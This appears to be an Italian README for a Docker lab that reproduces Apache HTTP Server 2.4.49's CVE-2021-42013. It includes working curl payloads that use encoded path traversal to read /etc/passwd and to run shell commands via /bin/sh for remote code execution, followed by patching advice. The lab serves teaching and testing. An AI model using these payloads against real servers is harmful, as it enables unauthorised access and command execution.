
Laboratorio che dimostra la vulnerabilità di Apache HTTP Server 2.4.49 (CVE-2021-42013) in ambiente Docker.
In questo progetto ho dimostrato la vulnerabilità CVE-2021-42013 presente in Apache HTTP Server versione 2.4.49 in un ambiente di laboratorio creato con Docker.
L'obiettivo è esaminare in un ambiente controllato come si manifesta la vulnerabilità, come funziona e quali effetti ha sul sistema.
Questo lavoro è stato realizzato esclusivamente a scopo didattico e di laboratorio.
.
├── Dockerfile
├── index.html
└── README.md
Prima di eseguire il progetto, è necessario avere installati i seguenti componenti.
Innanzitutto, scarica la repository sul tuo computer.
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
Entra nella cartella.
cd apache-cve-2021-42013-lab
Crea l'immagine Docker.
docker build -t apache-2.4.49-src .
Avvia il container.
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
Entra nel container.
docker exec -it apache-src /bin/bash
Verifica la versione di Apache.
/usr/local/apache2/bin/httpd -v
Per uscire dal container:
exit
Puoi verificare se il modulo CGI è attivo con il seguente comando.
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
Successivamente, riavvia Apache.
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
Per disattivare il modulo CGI:
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
Per visualizzare maggiori informazioni sul sistema:
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
Dopo aver completato l'installazione:
İstemci (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
URL Normalization Hatası
│
▼
Path Traversal
│
├──────────────► CGI Kapalı
│ │
│ ▼
│ Dosya erişimi mümkün olabilir
│
▼
CGI Aktif
│
▼
/bin/sh çalıştırılabilir
│
▼
Remote Code Execution (RCE)
Per poter dimostrare lo scenario RCE, è necessario attivare il modulo mod_cgi.
Per eliminare questa vulnerabilità, si consiglia di aggiornare Apache HTTP Server alla versione 2.4.51 o successiva. Inoltre, se CGI non viene utilizzato, si raccomanda di disattivarlo e di definire permessi di accesso appropriati solo per le directory necessarie.